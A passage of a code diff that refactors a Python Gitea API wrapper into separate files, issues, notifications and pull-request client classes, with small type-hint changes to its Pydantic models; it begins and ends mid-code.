data["title"] = title
|
|
||||||
if body is not None:
|
|
||||||
data["body"] = body
|
|
||||||
if state is not None:
|
|
||||||
data["state"] = state
|
|
||||||
response = self.client.patch(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return PullRequestModel(**response.json())
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Error updating pull request: {e}", exc_info=True)
|
|
||||||
raise
|
|
||||||
|
|
||||||
def create_pr_via_tea(
|
|
||||||
self, owner: str, repo: str, title: str, description: str, head: str, base: str
|
|
||||||
) -> PullRequestModel:
|
|
||||||
return self.create_pull_request(owner, repo, head, base, title, description)
|
|
||||||
|
|
||||||
def approve_pr(
|
|
||||||
self, owner: str, repo: str, pr_number: int, comment: str
|
|
||||||
) -> dict[str, Any]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
|
||||||
data: dict[str, Any] = {"event": "APPROVED", "body": comment}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.json()
|
|
||||||
|
|
||||||
def request_changes_pr(
|
|
||||||
self, owner: str, repo: str, pr_number: int, comment: str
|
|
||||||
) -> dict[str, Any]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
|
||||||
data: dict[str, Any] = {"event": "REQUEST_CHANGES", "body": comment}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.json()
|
|
||||||
|
|
||||||
def get_pr_reviews(
|
|
||||||
self, owner: str, repo: str, pr_number: int
|
|
||||||
) -> list[dict[str, Any]]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
|
|
||||||
response = self.client.get(url)
|
|
||||||
if response.status_code == 404:
|
|
||||||
return []
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.json()
|
|
||||||
|
|
||||||
def dismiss_review_pr(
|
|
||||||
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
|
|
||||||
) -> dict[str, Any]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews/{review_id}/dismissals"
|
|
||||||
data: dict[str, str] = {"message": message}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.json()
|
|
||||||
|
|
||||||
def assign_issue(
|
|
||||||
self, owner: str, repo: str, issue_number: int, username: str
|
|
||||||
) -> IssueModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
|
|
||||||
data: dict[str, list[str]] = {"assignees": [username]}
|
|
||||||
response = self.client.patch(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return IssueModel(**response.json())
|
|
||||||
|
|
||||||
def create_issue(
|
|
||||||
self,
|
|
||||||
owner: str,
|
|
||||||
repo: str,
|
|
||||||
title: str,
|
|
||||||
body: str,
|
|
||||||
labels: list[str] | None = None,
|
|
||||||
assignees: list[str] | None = None,
|
|
||||||
) -> IssueModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
|
|
||||||
data: dict[str, Any] = {"title": title, "body": body}
|
|
||||||
if labels:
|
|
||||||
data["labels"] = labels
|
|
||||||
if assignees:
|
|
||||||
data["assignees"] = assignees
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return IssueModel(**response.json())
|
|
||||||
|
|
||||||
def add_comment(
|
|
||||||
self, owner: str, repo: str, issue_number: int, body: str
|
|
||||||
) -> CommentModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
|
|
||||||
data: dict[str, str] = {"body": body}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return CommentModel(**response.json())
|
|
||||||
|
|
||||||
def add_label(
|
|
||||||
self, owner: str, repo: str, issue_number: int, label: str
|
|
||||||
) -> LabelModel:
|
|
||||||
url = (
|
|
||||||
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/labels"
|
|
||||||
)
|
|
||||||
data: list[str] = [label]
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return LabelModel(**response.json())
|
|
||||||
|
|
||||||
def add_label_pr(
|
|
||||||
self, owner: str, repo: str, pr_number: int, label: str
|
|
||||||
) -> LabelModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pr_number}/labels"
|
|
||||||
data: list[str] = [label]
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return LabelModel(**response.json())
|
|
||||||
|
|
||||||
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/ref/{ref}"
|
|
||||||
data: dict[str, str] = {"sha": sha}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.json()
|
|
||||||
|
|
||||||
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/refs"
|
|
||||||
data: dict[str, str] = {"ref": ref, "sha": sha}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.json()
|
|
||||||
|
|
||||||
def update_file(
|
|
||||||
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
|
||||||
) -> dict[str, Any]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
|
|
||||||
data: dict[str, str] = {
|
|
||||||
"message": message,
|
|
||||||
"content": base64.b64encode(content.encode()).decode(),
|
|
||||||
"branch": branch,
|
|
||||||
"new_branch": f"{branch}-update-{path}",
|
|
||||||
}
|
|
||||||
response = self.client.put(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.json()
|
|
||||||
|
|
||||||
def get_file_content(
|
|
||||||
self, owner: str, repo: str, path: str, ref: str = "master"
|
|
||||||
) -> str | list[str]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
|
|
||||||
params: dict[str, str] = {"ref": ref}
|
|
||||||
response = self.client.get(url, params=params)
|
|
||||||
response.raise_for_status()
|
|
||||||
data = response.json()
|
|
||||||
if isinstance(data, list):
|
|
||||||
return [
|
|
||||||
item.get("content", "") for item in data if item.get("type") == "file"
|
|
||||||
]
|
|
||||||
return (
|
|
||||||
base64.b64decode(data.get("content", "")).decode()
|
|
||||||
if data.get("content")
|
|
||||||
else ""
|
|
||||||
)
|
|
||||||
|
|
||||||
def list_unread_notifications(
|
|
||||||
self, since: Optional[str] = None
|
|
||||||
) -> list[dict[str, Any]]:
|
|
||||||
try:
|
|
||||||
url = f"{self.base_url}/api/v1/notifications"
|
|
||||||
params: dict[str, str] = {"all": "false"}
|
|
||||||
if since:
|
|
||||||
params["since"] = since
|
|
||||||
response = self.client.get(url, params=params)
|
|
||||||
response.raise_for_status()
|
|
||||||
notifications: list[dict[str, Any]] = response.json()
|
|
||||||
|
|
||||||
result: list[dict[str, Any]] = []
|
|
||||||
for n in notifications:
|
|
||||||
repo_info = n.get("repository") or {}
|
|
||||||
owner_info = repo_info.get("owner") or {}
|
|
||||||
owner_login = owner_info.get("login", "")
|
|
||||||
if owner_login == GITEA_ORG_FILTER:
|
|
||||||
result.append(n)
|
|
||||||
return result
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Error listing unread notifications: {e}", exc_info=True)
|
|
||||||
return []
|
|
||||||
|
|
||||||
def mark_notification_as_read(self, thread_id: int) -> bool:
|
|
||||||
try:
|
|
||||||
url = f"{self.base_url}/api/v1/notifications/threads/{thread_id}"
|
|
||||||
response = self.client.patch(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return True
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(
|
|
||||||
f"Error marking notification thread {thread_id} as read: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return False
|
|
||||||
|
|
||||||
def merge_pull_request(
|
|
||||||
self,
|
|
||||||
owner: str,
|
|
||||||
repo: str,
|
|
||||||
pull_number: int,
|
|
||||||
style: str = "squash",
|
|
||||||
title: str = "",
|
|
||||||
message: str = "",
|
|
||||||
) -> bool:
|
|
||||||
try:
|
|
||||||
url = (
|
|
||||||
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
|
|
||||||
)
|
|
||||||
data: dict[str, Any] = {
|
|
||||||
"Do": style,
|
|
||||||
"MergeTitleField": title,
|
|
||||||
"MergeMessageField": message,
|
|
||||||
}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return True
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(
|
|
||||||
f"Error merging pull request {pull_number}: {e}", exc_info=True
|
|
||||||
)
|
|
||||||
raise
|
|
||||||
|
|||||||
@@ -0,0 +1,115 @@
|
|||||||
|
"""Files client for Gitea API operations."""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import logging
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
|
||||||
|
logger: logging.Logger = logging.getLogger("gitea.files_client")
|
||||||
|
|
||||||
|
|
||||||
|
class FilesClient:
|
||||||
|
"""HTTP client for Gitea Files and Git Refs API operations."""
|
||||||
|
|
||||||
|
def __init__(self, base_url: str, client: httpx.Client) -> None:
|
||||||
|
"""Initialize the FilesClient.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
base_url: The base URL for the Gitea API.
|
||||||
|
client: The httpx client for making requests.
|
||||||
|
"""
|
||||||
|
self.base_url: str = base_url
|
||||||
|
self.client: httpx.Client = client
|
||||||
|
|
||||||
|
def update_file(
|
||||||
|
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
||||||
|
) -> dict[str, object]:
|
||||||
|
"""Update a file in a repository.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
path: File path.
|
||||||
|
message: Commit message.
|
||||||
|
content: File content.
|
||||||
|
branch: Branch name.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The API response.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
|
||||||
|
data: dict[str, str] = {
|
||||||
|
"message": message,
|
||||||
|
"content": base64.b64encode(content.encode()).decode(),
|
||||||
|
"branch": branch,
|
||||||
|
"new_branch": f"{branch}-update-{path}",
|
||||||
|
}
|
||||||
|
response = self.client.put(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get_file_content(
|
||||||
|
self, owner: str, repo: str, path: str, ref: str = "master"
|
||||||
|
) -> str | list[str]:
|
||||||
|
"""Get the content of a file or directory.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
path: File or directory path.
|
||||||
|
ref: Git reference (branch, tag, commit).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
File content as string, or list of file names if path is a directory.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
|
||||||
|
params: dict[str, str] = {"ref": ref}
|
||||||
|
response = self.client.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
data = response.json()
|
||||||
|
if isinstance(data, list):
|
||||||
|
return [
|
||||||
|
item.get("content", "") for item in data if item.get("type") == "file"
|
||||||
|
]
|
||||||
|
return (
|
||||||
|
base64.b64decode(data.get("content", "")).decode()
|
||||||
|
if data.get("content")
|
||||||
|
else ""
|
||||||
|
)
|
||||||
|
|
||||||
|
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
|
||||||
|
"""Update a git reference.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
ref: Reference name (e.g., heads/main).
|
||||||
|
sha: New SHA for the reference.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The API response.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/ref/{ref}"
|
||||||
|
data: dict[str, str] = {"sha": sha}
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
|
||||||
|
"""Create a new git reference.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
ref: Reference name (e.g., refs/heads/new-branch).
|
||||||
|
sha: SHA for the reference.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The API response.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/refs"
|
||||||
|
data: dict[str, str] = {"ref": ref, "sha": sha}
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
@@ -0,0 +1,248 @@
|
|||||||
|
"""Issues client for Gitea API operations."""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from typing import Callable, Optional
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
from .models import (
|
||||||
|
CommentModel,
|
||||||
|
IssueModel,
|
||||||
|
LabelModel,
|
||||||
|
RepositoryModel,
|
||||||
|
UserModel,
|
||||||
|
)
|
||||||
|
|
||||||
|
logger: logging.Logger = logging.getLogger("gitea.issues_client")
|
||||||
|
|
||||||
|
|
||||||
|
class IssuesClient:
|
||||||
|
"""HTTP client for Gitea Issues API operations."""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
base_url: str,
|
||||||
|
client: httpx.Client,
|
||||||
|
get_user: Callable[[], UserModel] | None = None,
|
||||||
|
get_repos: Callable[[], list[RepositoryModel]] | None = None,
|
||||||
|
) -> None:
|
||||||
|
"""Initialize the IssuesClient.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
base_url: The base URL for the Gitea API.
|
||||||
|
client: The httpx client for making requests.
|
||||||
|
get_user: Optional callable to get the authenticated user.
|
||||||
|
get_repos: Optional callable to get all user repos.
|
||||||
|
"""
|
||||||
|
self.base_url: str = base_url
|
||||||
|
self.client: httpx.Client = client
|
||||||
|
self._get_user: Callable[[], UserModel] | None = get_user
|
||||||
|
self._get_repos: Callable[[], list[RepositoryModel]] | None = get_repos
|
||||||
|
|
||||||
|
def list_repo_issues(
|
||||||
|
self, owner: str, repo: str, state: str = "open"
|
||||||
|
) -> list[IssueModel]:
|
||||||
|
"""List issues for a repository.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
state: Issue state filter (open, closed, all).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of issues matching the criteria.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?type=issues&state={state}"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return [IssueModel(**item) for item in response.json()]
|
||||||
|
|
||||||
|
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
||||||
|
"""Get a specific issue.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
issue_number: Issue number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The requested issue.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return IssueModel(**response.json())
|
||||||
|
|
||||||
|
def close_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
||||||
|
"""Close an issue.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
issue_number: Issue number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The updated issue.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
|
||||||
|
data: dict[str, str] = {"state": "closed"}
|
||||||
|
response = self.client.patch(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return IssueModel(**response.json())
|
||||||
|
|
||||||
|
def get_issue_comments(
|
||||||
|
self, owner: str, repo: str, issue_number: int
|
||||||
|
) -> list[CommentModel]:
|
||||||
|
"""Get comments on an issue.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
issue_number: Issue number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of comments on the issue.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return [CommentModel(**item) for item in response.json()]
|
||||||
|
|
||||||
|
def list_assigned_issues(self, owner: str = "", repo: str = "") -> list[IssueModel]:
|
||||||
|
"""List issues assigned to the authenticated user.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Optional repository owner to filter by.
|
||||||
|
repo: Optional repository name to filter by.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of issues assigned to the authenticated user.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self._get_user is None or self._get_repos is None:
|
||||||
|
logger.error("get_user and get_repos callables are required")
|
||||||
|
return []
|
||||||
|
|
||||||
|
user = self._get_user()
|
||||||
|
if not user:
|
||||||
|
return []
|
||||||
|
username: str = user.login
|
||||||
|
if owner and repo:
|
||||||
|
response = self.client.get(
|
||||||
|
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?assignee={username}&state=open&type=issues",
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
return [IssueModel(**item) for item in response.json()]
|
||||||
|
all_issues: list[IssueModel] = []
|
||||||
|
repos = self._get_repos()
|
||||||
|
for r in repos:
|
||||||
|
repo_owner = r.owner
|
||||||
|
repo_name = r.name
|
||||||
|
resp = self.client.get(
|
||||||
|
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/issues?assignee={username}&state=open&type=issues",
|
||||||
|
)
|
||||||
|
if resp.status_code == 200:
|
||||||
|
for item in resp.json():
|
||||||
|
issue = IssueModel(**item)
|
||||||
|
# Backfill repository if Gitea omitted it
|
||||||
|
if issue.repository is None:
|
||||||
|
issue = issue.model_copy(update={"repository": r})
|
||||||
|
all_issues.append(issue)
|
||||||
|
return all_issues
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error listing assigned issues: {e}", exc_info=True)
|
||||||
|
return []
|
||||||
|
|
||||||
|
def assign_issue(
|
||||||
|
self, owner: str, repo: str, issue_number: int, username: str
|
||||||
|
) -> IssueModel:
|
||||||
|
"""Assign an issue to a user.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
issue_number: Issue number.
|
||||||
|
username: Username to assign.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The updated issue.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
|
||||||
|
data: dict[str, list[str]] = {"assignees": [username]}
|
||||||
|
response = self.client.patch(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return IssueModel(**response.json())
|
||||||
|
|
||||||
|
def create_issue(
|
||||||
|
self,
|
||||||
|
owner: str,
|
||||||
|
repo: str,
|
||||||
|
title: str,
|
||||||
|
body: str,
|
||||||
|
labels: list[str] | None = None,
|
||||||
|
assignees: list[str] | None = None,
|
||||||
|
) -> IssueModel:
|
||||||
|
"""Create a new issue.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
title: Issue title.
|
||||||
|
body: Issue body/description.
|
||||||
|
labels: Optional list of label IDs.
|
||||||
|
assignees: Optional list of usernames to assign.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The created issue.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
|
||||||
|
data: dict[str, str | list[str]] = {"title": title, "body": body}
|
||||||
|
if labels:
|
||||||
|
data["labels"] = labels
|
||||||
|
if assignees:
|
||||||
|
data["assignees"] = assignees
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return IssueModel(**response.json())
|
||||||
|
|
||||||
|
def add_comment(
|
||||||
|
self, owner: str, repo: str, issue_number: int, body: str
|
||||||
|
) -> CommentModel:
|
||||||
|
"""Add a comment to an issue.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
issue_number: Issue number.
|
||||||
|
body: Comment body.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The created comment.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
|
||||||
|
data: dict[str, str] = {"body": body}
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return CommentModel(**response.json())
|
||||||
|
|
||||||
|
def add_label(
|
||||||
|
self, owner: str, repo: str, issue_number: int, label: str
|
||||||
|
) -> LabelModel:
|
||||||
|
"""Add a label to an issue.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
issue_number: Issue number.
|
||||||
|
label: Label name or ID.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The added label.
|
||||||
|
"""
|
||||||
|
url = (
|
||||||
|
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/labels"
|
||||||
|
)
|
||||||
|
data: list[str] = [label]
|
||||||
|
response = self.client.post(url, json=data)
|
||||||
|
response.raise_for_status()
|
||||||
|
return LabelModel(**response.json())
|
||||||
+3
-3
@@ -1,6 +1,6 @@
|
|||||||
"""Pydantic models for Gitea API entities."""
|
"""Pydantic models for Gitea API entities."""
|
||||||
|
|
||||||
from typing import Optional, Any
|
from typing import Optional
|
||||||
|
|
||||||
from pydantic import BaseModel, Field, field_validator
|
from pydantic import BaseModel, Field, field_validator
|
||||||
|
|
||||||
@@ -71,8 +71,8 @@ class PullRequestModel(BaseModel):
|
|||||||
updated_at: Optional[str] = None
|
updated_at: Optional[str] = None
|
||||||
closed_at: Optional[str] = None
|
closed_at: Optional[str] = None
|
||||||
merged_at: Optional[str] = None
|
merged_at: Optional[str] = None
|
||||||
head: dict[str, Any] = Field(default_factory=dict)
|
head: dict[str, object] = Field(default_factory=dict)
|
||||||
base: dict[str, Any] = Field(default_factory=dict)
|
base: dict[str, object] = Field(default_factory=dict)
|
||||||
repository: Optional[RepositoryModel] = None
|
repository: Optional[RepositoryModel] = None
|
||||||
comments: int = 0
|
comments: int = 0
|
||||||
comments_url: Optional[str] = None
|
comments_url: Optional[str] = None
|
||||||
|
|||||||
@@ -0,0 +1,78 @@
|
|||||||
|
"""Notifications client for Gitea API operations."""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
|
||||||
|
logger: logging.Logger = logging.getLogger("gitea.notifications_client")
|
||||||
|
|
||||||
|
|
||||||
|
class NotificationsClient:
|
||||||
|
"""HTTP client for Gitea Notifications API operations."""
|
||||||
|
|
||||||
|
def __init__(self, base_url: str, client: httpx.Client, org_filter: str) -> None:
|
||||||
|
"""Initialize the NotificationsClient.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
base_url: The base URL for the Gitea API.
|
||||||
|
client: The httpx client for making requests.
|
||||||
|
org_filter: Organization filter for notifications.
|
||||||
|
"""
|
||||||
|
self.base_url: str = base_url
|
||||||
|
self.client: httpx.Client = client
|
||||||
|
self.org_filter: str = org_filter
|
||||||
|
|
||||||
|
def list_unread_notifications(
|
||||||
|
self, since: Optional[str] = None
|
||||||
|
) -> list[dict[str, object]]:
|
||||||
|
"""List unread notifications.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
since: Optional ISO 8601 timestamp to filter notifications after.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of unread notifications for the configured organization.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
url = f"{self.base_url}/api/v1/notifications"
|
||||||
|
params: dict[str, str] = {"all": "false"}
|
||||||
|
if since:
|
||||||
|
params["since"] = since
|
||||||
|
response = self.client.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
notifications: list[dict[str, object]] = response.json()
|
||||||
|
|
||||||
|
result: list[dict[str, object]] = []
|
||||||
|
for n in notifications:
|
||||||
|
repo_info = n.get("repository") or {}
|
||||||
|
owner_info = repo_info.get("owner") or {}
|
||||||
|
owner_login = owner_info.get("login", "")
|
||||||
|
if owner_login == self.org_filter:
|
||||||
|
result.append(n)
|
||||||
|
return result
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error listing unread notifications: {e}", exc_info=True)
|
||||||
|
return []
|
||||||
|
|
||||||
|
def mark_notification_as_read(self, thread_id: int) -> bool:
|
||||||
|
"""Mark a notification as read.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
thread_id: Notification thread ID.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if successful, False otherwise.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
url = f"{self.base_url}/api/v1/notifications/threads/{thread_id}"
|
||||||
|
response = self.client.patch(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(
|
||||||
|
f"Error marking notification thread {thread_id} as read: {e}",
|
||||||
|
exc_info=True,
|
||||||
|
)
|
||||||
|
return False
|
||||||
@@ -0,0 +1,469 @@
|
|||||||
|
"""Pull Requests client for Gitea API operations."""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from typing import Callable
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
from .models import (
|
||||||
|
CommentModel,
|
||||||
|
LabelModel,
|
||||||
|
PullRequestFileModel,
|
||||||
|
PullRequestModel,
|
||||||
|
RepositoryModel,
|
||||||
|
UserModel,
|
||||||
|
)
|
||||||
|
|
||||||
|
logger: logging.Logger = logging.getLogger("gitea.prs_client")
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ReviewRequest:
|
||||||
|
event: str
|
||||||
|
body: str
|
||||||
|
|
||||||
|
|
||||||
|
class PullRequestsClient:
|
||||||
|
"""HTTP client for Gitea Pull Requests API operations."""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
base_url: str,
|
||||||
|
client: httpx.Client,
|
||||||
|
get_user: Callable[[], UserModel] | None = None,
|
||||||
|
get_repos: Callable[[], list[RepositoryModel]] | None = None,
|
||||||
|
) -> None:
|
||||||
|
"""Initialize the PullRequestsClient.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
base_url: The base URL for the Gitea API.
|
||||||
|
client: The httpx client for making requests.
|
||||||
|
get_user: Optional callable to get the authenticated user.
|
||||||
|
get_repos: Optional callable to get all user repos.
|
||||||
|
"""
|
||||||
|
self.base_url: str = base_url
|
||||||
|
self.client: httpx.Client = client
|
||||||
|
self._get_user: Callable[[], UserModel] | None = get_user
|
||||||
|
self._get_repos: Callable[[], list[RepositoryModel]] | None = get_repos
|
||||||
|
|
||||||
|
def list_repo_pull_requests(
|
||||||
|
self, owner: str, repo: str, state: str = "open"
|
||||||
|
) -> list[PullRequestModel]:
|
||||||
|
"""List pull requests for a repository.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
state: PR state filter (open, closed, all).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of pull requests matching the criteria.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state={state}"
|
||||||
|
response = self.client.get(url)
|
||||||
|
if response.status_code == 404:
|
||||||
|
return []
|
||||||
|
response.raise_for_status()
|
||||||
|
return [PullRequestModel(**item) for item in response.json()]
|
||||||
|
|
||||||
|
def get_pull_request(
|
||||||
|
self, owner: str, repo: str, pull_number: int
|
||||||
|
) -> PullRequestModel:
|
||||||
|
"""Get a specific pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
owner: Repository owner.
|
||||||
|
repo: Repository name.
|
||||||
|
pull_number: Pull request number.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The requested pull request.
|
||||||
|
"""
|
||||||
|
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
||||||
|
response = self.client.get(url)
|
||||||
|
response.raise_for_status()
|
||||||
|
return PullRequestModel(**response.json())
|
||||||
|
|
||||||
|
def close_pull_request(
|
||||||
|
self, owner: str, repo: str, pull_number: int
|
||||||
|
) -> PullRequestModel:
|
||||||
|
"""Close a pull request.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
